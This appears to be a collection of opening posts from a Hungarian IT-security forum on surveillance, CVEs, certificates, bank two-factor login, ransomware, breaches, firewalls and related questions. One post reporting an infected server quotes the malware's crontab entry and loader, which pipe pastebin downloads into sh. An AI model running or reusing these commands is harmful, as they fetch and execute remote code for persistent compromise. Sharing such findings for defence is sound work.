Elolvasgattam a cikket: Ez lehet minden idők legfélelmetesebb megfigyelő gépezete

es egy pontja felvonta a szemoldokom:

"Ez a cég 25 műholdról, 70 ezer hajóról és repülőgépről, 100 millió mobileszközről, több ezer internetre kötött okoseszközről, 5 ezer környezeti szenzorból, 40 ezer hírforrásból és 8 közösségi oldalról származó adatot kezel és összesít,"

A 100 millio mobileszkoz, hogy?!? Legalisan?

https://access.redhat.com/security/cve/cve-2019-1125
https://access.redhat.com/articles/4329821
https://www.bitdefender.com/business/swapgs-attack.html

AMD nem érintett

https://www.amd.com/en/corporate/product-security

Sziasztok!

Kaptam egy linket, amin egy videó látható. A videó egy "legális" nyomkövetővel "felszerelt" oldal működését mutatja, amikor figyeli az oldalba ágyazott hotjar szkript, mit is művel egy-egy felhasználó.
Az alábbi link csak pár napig tekinthető meg, ha időm engedi, készítek belőle megmaradó emléket.

http://insights.hotjar.com/r?site=1376904&recording=2299611161&token=b88889152b7e132a325308a73fd900d8
(Lent a Skip Pauses érdemes bekapcsolni.)

Sziasztok,

sikerült rábeszélni a menedzsmentet, hogy a jelenlegi symantec messaging gateway-t cseréljük le egy barracuda email security gateway v300-ra. Viszont itt az onlne kártyával vásárlás nem része a cégkultúrának, ezért kellene egy magyar dealer. Tud valaki ilyet? Én egy céget találtam, de kellene még 2, mert a 3 ajánlathoz ragaszkodnak.

Sziasztok!

Segítsetek nekem. :)
Szeretnék egy helyre Guest netet varázsolni, Cisco RV110W router eszközön. A konfig kész, másik VLAN, stb.. Működik.
Viszont kellene hozzá SSL tanusítvány, mert a Guest portálhoz csatlakozáskor panaszkodik az önaláírt tanusítványon...
Sajnos most már a mobilon a guest portál sem jön be, eddig rá tudtam kattintani, hogy figyelmen kívül hagyom.

Megoldható -e hogy készítsek egy free ssl tanusítványt a routerhez domain nélkül? Esetleg NoIP dns névhez?

Köszönöm!!!

Sziasztok!
Az OTP Banktól kaptam egy tájékoztatót, hogy 2019. szeptember 1-től kétfaktoros azonosítást valósítanak meg, mobilappal. Levélben, postán kaptuk (bár elektronikus ügyintézésre vagyunk kötelezettek mindketten, eügyintézés rulez :-)). Most nem találom a nekem ideadott másolatot, neten nem találok leírást rá. Valakinek nincs egy jó linkje?

Sziasztok,

Tud esetleg valaki javasolni olyan klienst (Linux, MacOS, iOS, Android) ami on the fly titkosit mielott az adat a felhobe kerulne? A lenyege az lenne ,hogy nem kell syncelnie az adatokat lokal mappaval (a telefonon nyilvan nincs 2TB+ helyem)

Üdv!
Egy gép bekapott egy zsarolót.
Mindenhova tett egy "DECRYPT MY FILES" nevű szöveges állományt, hogy 48 óraig visszaállítható... stb.

Futott bele ebbe a virusba már valaki? Ez lehet a removal tool-ja(?):
https://howtoremove.guide/how-to-decrypt-ransomware/

BikeSafe.hu

Ez tényleg igazi oldal vagy phisingben utaznak?
Plain textben küldött jelszót, a regisztrációhoz nem kér megerősítést.
Jóskapista bicaját is tudom itt regisztrálni? Akkor mire jó ez?
Az adatvédelmi táj. sem 100-as, de ezt a szakértők jobban tudják.

Nagyon röviden a helyzet.
Ismerős exe valószínű valamilyen programmal lehallgatja / követi / monitorozza az illető Androidos telefonját, tevékenységét. Nem biztos, de erős a gyanú.
Mivel lehet a leghatékonyabban megtudni, megtalálni, hogy valóban történik-e ilyesmi?
Első körben csak meg kellene róla bizonyosodni. Nem resetre van szükség!

köszi
W.

https://www.bleepingcomputer.com/news/security/linux-kernel-prior-to-508-vulnerable-to-remote-code-execution/

https://old.reddit.com/r/netsec/comments/bofpri/linux_kernel_prior_to_508_vulnerable_to_remote/

Több helyen belefutottam abba, hogy weben jegyet akarok venni egy rendezvényre (mondjuk legyen rendezveny123.hu) és azt látom hogy

Név
Bankkártya száma
Lejárati dátum
CVC kód

egy az egybe megy HTTP POST adatként a rendezveny123.hu site-ra, ahol az ottani rendszergazda vagy fejlesztő ha akarja ki tudja olvasni magának és akár egy adatbázist építhet belőle.

Én tartok attól hogy egyszer csak kapok egy sms-t hogy 20.000 Ft-ot leemeltek vmelyik országból és azt se tudom majd hol szivárgott ki.

Mindig új bankkártyát igényelni meg idő és macera.

https://www.ghacks.net/2019/04/20/mozilla-plans-to-enable-hyperlink-ping-tracking-by-default-in-firefox/

Ki ne hagyjátok, mert főként a kommentekben rengeteg átgondolandó információ található!

Sziasztok,

szeretném a segítségeteket kérni abban, hogy milyen alternatívái vannak a biztonsági kamera szoftvereknek Linux rendszeren.
A nagy kérdésem, hogy pl: Synlogic minőségű rendszer - https://www.synology.com/hu-hu/surveillance - elérhetőe-e Linuxon, azaz ha készítek egy NAS szerver-t, akkor pl: ilyen szoftvert tudok-e valahol találni rá? Ami hasonló módon és képeségekkel megbírkozik a feladattal, vagy inkább válasszak inkább egy "kész" NAS szervert, mert nem lesz ilyen jellegű megoldás sehol...

Köszönöm előre is!

Kalmi

Egyik szerveremen találtam.

Beleírja magát a cron-ba:

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/HdjSc4JR||wget -q -O- https://pastebin.com/raw/HdjSc4JR)|sh" | crontab -

Majd ezt futtatva lehozza magát újra és újra:

(curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sed -e 's/\r//g'|sh

Letölt ezt-azt, futtat ezt-azt.

https://www.otpbank.hu/portal/hu/JogiEtikaiNyilatkozat

Legalul:

Az OTP Bank Nyrt. által működtetett informatikai rendszer megfelel a 42/2015 (III.12.) Kormányrendeletben meghatározott zárt informatikai rendszer követelményeinek. A tanúsítvány regisztrációs száma: HUNG-T-ZART-389-2018

A Tanúsítvány érvényességének kezdete: 2018. március 31.

A Tanúsítvány érvényességének vége: 2019. március 31. <====

Kedves HuP közönség,

Tegnap kicsit fölbosszantottam magam egy security incidensen és azon melegében elkezdtem összerakni egy kis eszközt a probléma orvoslására. Eljutott olyan fázisba (van doksi, stb) hogy elétek bocsájssam visszajelzés céljából.

Forrás kód: https://github.com/janoszen/cscanner
Doksi: https://cscanner.io

Igen, Javaban van írva, a GoLang továbbra sem barátom.

Most a ti véleményetekre vagyok kíváncsi: milyen szabálykészlettel bővítsem még az eszközt?

Köszönöm

János

Sziasztok

Cégen belül próbálkozom pár weboldalnál bekapcsolni, mert könnyebb apache szinten megfogni a csúnya postokat, mint php-ból. Utóbbi jobban pörgeti a CPU-t és több hibázási lehetőséget rejt.

A gond viszont az, hogy több false pozitív riasztást ad.
Pl. ha egy fájlt töltenek fel, OK, ha többet már riaszt a 200004 ID-s rule. Ezt a neten többé kevésbé kamunak veszik, kapcsoljam ki..oké.

Dear Armor Games Players,

We respect the privacy of our users which is why as a precautionary measure, we are writing to let you know of a data security incident that may involve your personal information.

In February 2019, the email address validation service verifications.io suffered a data breach. Discovered by Bob Diachenko and Vinny Troia, the breach was due to the data being stored in a MongoDB instance left publicly facing without a password and resulted in 763 million unique email addresses being exposed. Many records within the data also included additional personal attributes such as names, phone numbers, IP addresses, dates of birth and genders. No passwords were included in the data.

Örököltem egy Samsung Galaxy Tab S2 tabletet, ami factory reset után a FRP miatt nem használható. Sajnos a debug mód is ki volt kapcsolva a tabletben, így ADB alól sem elérhető.
A Samsung szerint szakszervíz aranyárban hajlandó használhatóvá tenni.
Van valakinek ennél jobb, gyorsabb, egyszerűbb, olcsóbb ötlete?

Sziasztok,

egy ideje agyalok azon a kerdesen, hogy mikent tudnam a fail2ban altal elvegzett feladatot kubernetesbe atvinni.

Adott egy nginx container, ami lenyegeben egy loadbalancer, ez osztja tovabb a bejovo forgalmat httpd node-oknak. Jelenleg ez egy VS, amin fail2ban parseolja a logot es szur ki klienseket bizonyos tevekenysegekuk alapjan. Ezt szeretnem kubernetesbe rakni.

Jelenleg ket megoldast latok:
- a containeren belul futtatok fail2ban-t es nginxet is, ez szamomra nem igazan illik a konterizalt vilagkepbe, hisz egy container egy alkalmazas kene legyen

Sziasztok,

Céges szoftver fejlesztéshez szeretnék egy ssl tanusítványt szerezni (Docker image-ek push/pull saját registry-be, Sonarqube, Nexus repository stb.)
A self signed certificate-ekkel csak a szívás van, inkább áldozok rá, hogy legyen egy hiteles tanusítványom. Csak erre a célra akarom használni.
Hol érdemes venni, ha lehet nem túl drágán. Esetleg, ha cégesen drágább, akkor lehet-e magánemberként?

köszi,
Zamek

Sziasztok!

Sziasztok !

Tanacsot szertenek kerni kinek milyen tapasztalata van es mit ajanlana tuzfalnak az otthoni halozatomra.
Digi Gigabit van optikai modem bridge modeban amit jelenleg egy PCengines apu2B4 - 4G ramos pfsense szolgal ki - sajnos nem tul jol.